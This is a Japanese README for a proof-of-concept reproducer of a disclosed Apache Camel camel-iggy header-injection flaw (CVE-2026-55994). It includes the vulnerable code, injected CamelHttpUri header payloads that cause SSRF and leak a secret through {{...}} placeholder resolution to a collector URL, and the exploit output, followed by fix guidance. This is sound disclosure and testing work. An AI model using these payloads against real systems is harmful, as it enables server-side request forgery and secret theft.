
このプロジェクトは、Apache Camelのcamel-iggyコンポーネントにおけるメッセージヘッダーインジェクションを実証するもので、CVE-2026-55994として追跡されています。Iggyコンシューマーは、受信メッセージのユーザーヘッダーを**HeaderFilterStrategyなしで**Camel Exchangeにコピーするため、消費対象のIggyトピックに発行できる者なら誰でも、Camel制御ヘッダー(特にCamelHttpUri)を注入できます。
// IggyFetchRecords.createExchange (affected 4.18.2) — Iggy message user-headers -> Exchange headers, unfiltered
message.userHeaders().ifPresent(userHeaders -> {
Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
e -> e.getKey(),
e -> e.getValue().value()));
exchange.getIn().setHeaders(stringUserHeaders);
});
ルートがこのコンシューマーをHTTPプロデューサーにブリッジしている場合、注入されたCamelHttpUriはプロデューサーのターゲットURIを上書きします — サーバーサイドリクエストフォージェリです。camel-httpプロデューサーはまた、攻撃者が制御するそのURIに対してresolvePropertyPlaceholders()を呼び出すため、注入された{{...}}参照は実際の値に展開されて送信され、環境変数、アプリケーションプロパティ、またはVaultのシークレットが漏洩します。
このPoCは、影響を**SSRFに加えてシークレット漏洩(CWE-20 → CWE-918 + CWE-200)**として実証します。これはCAMEL-23532の下で(camel-vertx-websocket(CVE-2026-46726)およびcamel-atmosphere-websocket(CVE-2026-55993)とともに)一緒に修正された3つの兄弟コンポーネントの1つです。
アドバイザリ: https://camel.apache.org/security/CVE-2026-55994.html
この修正は、受信マッピングに
HeaderFilterStrategyを適用し、Camel*/camel*ヘッダーをフィルタリングして、Iggyメッセージのユーザーヘッダーを通じて注入できなくします。
脆弱なIggyFetchRecords.createExchange(...)は、ユーザーヘッダーが攻撃者によって制御された偽造Iggyメッセージに対して変更なしで実行されます。生成されたExchangeは実際のルートを通って実際のcamel-httpプロデューサーに流れるため、SSRFと{{...}}プロパティプレースホルダー漏洩は本物です。
なぜ実際のIggyブローカーを使用しないのか。
iggy:コンシューマーのdoStartは実行中のIggyサーバーへの接続を開くため、ブローカーなしではルートを開始できません。また、Apache Iggyサーバーはio_uringを必要としますが、これはDockerのデフォルトのseccompプロファイルがブロックするため(--privilegedでのみ実行可能)、移植可能で共有可能なPoCには適しません。脆弱なcreateExchange自体はブローカーを必要としないため、ドライバーは実際のIggyFetchRecordsを構築し、偽造メッセージで直接呼び出します。兄弟のcamel-vertx-websocketPoC(CVE-2026-46726)は、ライブ転送を通じて同一の欠陥を駆動します。
実際の展開では: from("iggy:orders?streamName=demo&...").to("http://.../legit-backend")。ここでは、下流側の半分はfrom("direct:iggy-delivery").to("http://localhost:8080/legit-backend")であり、実際のcreateExchangeによって構築された汚染されたExchangeが供給されます。
CVE-2026-55994/
├── pom.xml # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # downstream link -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect
│ └── ExploitController.java # forges an Iggy message + runs the real createExchange (injects CamelHttpUri)
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Ordinary message (user-header x-order-id=A-1001)
reached /legit-backend: true
reached /internal/secret: false
2) Injected user-header 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected user-header 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
4.18.3 / 4.21.0(CAMEL-23532)にアップグレードしてください。アップグレード後、コンシューマーはIggyメッセージのユーザーヘッダーからCamel*ヘッダーをフィルタリングするため、CamelHttpUriおよびその他の制御ヘッダーを注入できなくなります。
アップグレードするまでは、Camel制御ヘッダーを事前に除去せずに(例: removeHeaders("CamelHttp*"))iggy:コンシューマーをHTTPプロデューサーに直接ブリッジしないでください。また、プロデューサーのターゲットを信頼できるソースから設定してください(またはbridgeEndpoint=trueを使用)。
この再現器は、公に開示され修正済みの脆弱性に対するセキュリティ研究および許可されたテスト専用に提供されています。明示的な許可なしにシステムに対して使用しないでください。
| プロパティ | 値 |
|---|
| コンポーネント | camel-iggy |
| 影響を受けるクラス | org.apache.camel.component.iggy.IggyFetchRecords#createExchange (メッセージのユーザーヘッダーをフィルタなしでExchangeヘッダーにマッピング) |
| CWE | CWE-20 (不適切な入力検証) → CWE-918 (SSRF) + CWE-200 (情報漏洩) |
| 影響 | SSRFおよび注入されたURIに対するプロパティプレースホルダー解決によるシークレット漏洩 |
| 前提条件 | ルートがiggy:コンシューマーをHTTPプロデューサーにブリッジしている; 攻撃者が消費対象トピックに発行できる |
| 影響を受けるバージョン | 4.17.0以降4.18.3未満、4.19.0以降4.21.0未満 (camel-iggyは4.17.0で導入) |
| 修正済みバージョン | 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| クレジット | Kamalpreet Singh |